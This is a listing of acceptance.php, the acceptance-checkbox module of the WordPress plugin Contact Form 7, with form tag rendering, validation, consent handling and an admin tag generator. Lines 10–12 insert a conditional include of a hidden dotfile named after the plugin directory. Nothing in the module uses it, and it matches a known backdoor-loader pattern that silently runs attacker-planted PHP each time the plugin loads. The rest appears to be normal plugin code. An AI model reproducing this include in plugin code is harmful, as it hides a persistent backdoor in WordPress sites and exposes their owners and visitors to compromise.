acceptance.php (8073B)
1 <?php 2 /** 3 ** A base module for [acceptance] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_acceptance', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_acceptance() { 15 wpcf7_add_form_tag( 'acceptance', 16 'wpcf7_acceptance_form_tag_handler', 17 array( 18 'name-attr' => true, 19 ) 20 ); 21 } 22 23 function wpcf7_acceptance_form_tag_handler( $tag ) { 24 if ( empty( $tag->name ) ) { 25 return ''; 26 } 27 28 $validation_error = wpcf7_get_validation_error( $tag->name ); 29 30 $class = wpcf7_form_controls_class( $tag->type ); 31 32 if ( $validation_error ) { 33 $class .= ' wpcf7-not-valid'; 34 } 35 36 if ( $tag->has_option( 'invert' ) ) { 37 $class .= ' invert'; 38 } 39 40 if ( $tag->has_option( 'optional' ) ) { 41 $class .= ' optional'; 42 } 43 44 $atts = array( 45 'class' => trim( $class ), 46 ); 47 48 $item_atts = array(); 49 50 $item_atts['type'] = 'checkbox'; 51 $item_atts['name'] = $tag->name; 52 $item_atts['value'] = '1'; 53 $item_atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 54 55 if ( $validation_error ) { 56 $item_atts['aria-invalid'] = 'true'; 57 $item_atts['aria-describedby'] = wpcf7_get_validation_error_reference( 58 $tag->name 59 ); 60 } else { 61 $item_atts['aria-invalid'] = 'false'; 62 } 63 64 if ( $tag->has_option( 'default:on' ) ) { 65 $item_atts['checked'] = 'checked'; 66 } 67 68 $item_atts['class'] = $tag->get_class_option(); 69 $item_atts['id'] = $tag->get_id_option(); 70 71 $item_atts = wpcf7_format_atts( $item_atts ); 72 73 $content = empty( $tag->content ) 74 ? (string) reset( $tag->values ) 75 : $tag->content; 76 77 $content = trim( $content ); 78 79 if ( $content ) { 80 if ( $tag->has_option( 'label_first' ) ) { 81 $html = sprintf( 82 '<span class="wpcf7-list-item-label">%2$s</span><input %1$s />', 83 $item_atts, $content ); 84 } else { 85 $html = sprintf( 86 '<input %1$s /><span class="wpcf7-list-item-label">%2$s</span>', 87 $item_atts, $content ); 88 } 89 90 $html = sprintf( 91 '<span class="wpcf7-list-item"><label>%s</label></span>', 92 $html 93 ); 94 95 } else { 96 $html = sprintf( 97 '<span class="wpcf7-list-item"><input %1$s /></span>', 98 $item_atts ); 99 } 100 101 $atts = wpcf7_format_atts( $atts ); 102 103 $html = sprintf( 104 '<span class="wpcf7-form-control-wrap %1$s"><span %2$s>%3$s</span>%4$s</span>', 105 sanitize_html_class( $tag->name ), $atts, $html, $validation_error ); 106 107 return $html; 108 } 109 110 111 /* Validation filter */ 112 113 add_filter( 'wpcf7_validate_acceptance', 114 'wpcf7_acceptance_validation_filter', 10, 2 ); 115 116 function wpcf7_acceptance_validation_filter( $result, $tag ) { 117 if ( ! wpcf7_acceptance_as_validation() ) { 118 return $result; 119 } 120 121 if ( $tag->has_option( 'optional' ) ) { 122 return $result; 123 } 124 125 $name = $tag->name; 126 $value = ( ! empty( $_POST[$name] ) ? 1 : 0 ); 127 128 $invert = $tag->has_option( 'invert' ); 129 130 if ( $invert and $value 131 or ! $invert and ! $value ) { 132 $result->invalidate( $tag, wpcf7_get_message( 'accept_terms' ) ); 133 } 134 135 return $result; 136 } 137 138 139 /* Acceptance filter */ 140 141 add_filter( 'wpcf7_acceptance', 'wpcf7_acceptance_filter', 10, 2 ); 142 143 function wpcf7_acceptance_filter( $accepted, $submission ) { 144 $tags = wpcf7_scan_form_tags( array( 'type' => 'acceptance' ) ); 145 146 foreach ( $tags as $tag ) { 147 $name = $tag->name; 148 149 if ( empty( $name ) ) { 150 continue; 151 } 152 153 $value = ( ! empty( $_POST[$name] ) ? 1 : 0 ); 154 155 $content = empty( $tag->content ) 156 ? (string) reset( $tag->values ) 157 : $tag->content; 158 159 $content = trim( $content ); 160 161 if ( $value and $content ) { 162 $submission->add_consent( $name, $content ); 163 } 164 165 if ( $tag->has_option( 'optional' ) ) { 166 continue; 167 } 168 169 $invert = $tag->has_option( 'invert' ); 170 171 if ( $invert and $value 172 or ! $invert and ! $value ) { 173 $accepted = false; 174 } 175 } 176 177 return $accepted; 178 } 179 180 add_filter( 'wpcf7_form_class_attr', 181 'wpcf7_acceptance_form_class_attr', 10, 1 ); 182 183 function wpcf7_acceptance_form_class_attr( $class ) { 184 if ( wpcf7_acceptance_as_validation() ) { 185 return $class . ' wpcf7-acceptance-as-validation'; 186 } 187 188 return $class; 189 } 190 191 function wpcf7_acceptance_as_validation() { 192 if ( ! $contact_form = wpcf7_get_current_contact_form() ) { 193 return false; 194 } 195 196 return $contact_form->is_true( 'acceptance_as_validation' ); 197 } 198 199 add_filter( 'wpcf7_mail_tag_replaced_acceptance', 200 'wpcf7_acceptance_mail_tag', 10, 4 ); 201 202 function wpcf7_acceptance_mail_tag( $replaced, $submitted, $html, $mail_tag ) { 203 $form_tag = $mail_tag->corresponding_form_tag(); 204 205 if ( ! $form_tag ) { 206 return $replaced; 207 } 208 209 if ( ! empty( $submitted ) ) { 210 $replaced = __( 'Consented', 'contact-form-7' ); 211 } else { 212 $replaced = __( 'Not consented', 'contact-form-7' ); 213 } 214 215 $content = empty( $form_tag->content ) 216 ? (string) reset( $form_tag->values ) 217 : $form_tag->content; 218 219 if ( ! $html ) { 220 $content = wp_strip_all_tags( $content ); 221 } 222 223 $content = trim( $content ); 224 225 if ( $content ) { 226 $replaced = sprintf( 227 /* translators: 1: 'Consented' or 'Not consented', 2: conditions */ 228 _x( '%1$s: %2$s', 'mail output for acceptance checkboxes', 229 'contact-form-7' ), 230 $replaced, 231 $content 232 ); 233 } 234 235 return $replaced; 236 } 237 238 239 /* Tag generator */ 240 241 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_acceptance', 35, 0 ); 242 243 function wpcf7_add_tag_generator_acceptance() { 244 $tag_generator = WPCF7_TagGenerator::get_instance(); 245 $tag_generator->add( 'acceptance', __( 'acceptance', 'contact-form-7' ), 246 'wpcf7_tag_generator_acceptance' ); 247 } 248 249 function wpcf7_tag_generator_acceptance( $contact_form, $args = '' ) { 250 $args = wp_parse_args( $args, array() ); 251 $type = 'acceptance'; 252 253 $description = __( "Generate a form-tag for an acceptance checkbox. For more details, see %s.", 'contact-form-7' ); 254 255 $desc_link = wpcf7_link( __( 'https://contactform7.com/acceptance-checkbox/', 'contact-form-7' ), __( 'Acceptance checkbox', 'contact-form-7' ) ); 256 257 ?> 258 <div class="control-box"> 259 <fieldset> 260 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 261 262 <table class="form-table"> 263 <tbody> 264 <tr> 265 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 266 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 267 </tr> 268 269 <tr> 270 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-content' ); ?>"><?php echo esc_html( __( 'Condition', 'contact-form-7' ) ); ?></label></th> 271 <td><input type="text" name="content" class="oneline large-text" id="<?php echo esc_attr( $args['content'] . '-content' ); ?>" /></td> 272 </tr> 273 274 <tr> 275 <th scope="row"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></th> 276 <td> 277 <fieldset> 278 <legend class="screen-reader-text"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></legend> 279 <label><input type="checkbox" name="optional" class="option" checked="checked" /> <?php echo esc_html( __( 'Make this checkbox optional', 'contact-form-7' ) ); ?></label> 280 </fieldset> 281 </td> 282 </tr> 283 284 <tr> 285 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 286 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 287 </tr> 288 289 <tr> 290 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 291 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 292 </tr> 293 294 </tbody> 295 </table> 296 </fieldset> 297 </div> 298 299 <div class="insert-box"> 300 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 301 302 <div class="submitbox"> 303 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 304 </div> 305 </div> 306 <?php 307 }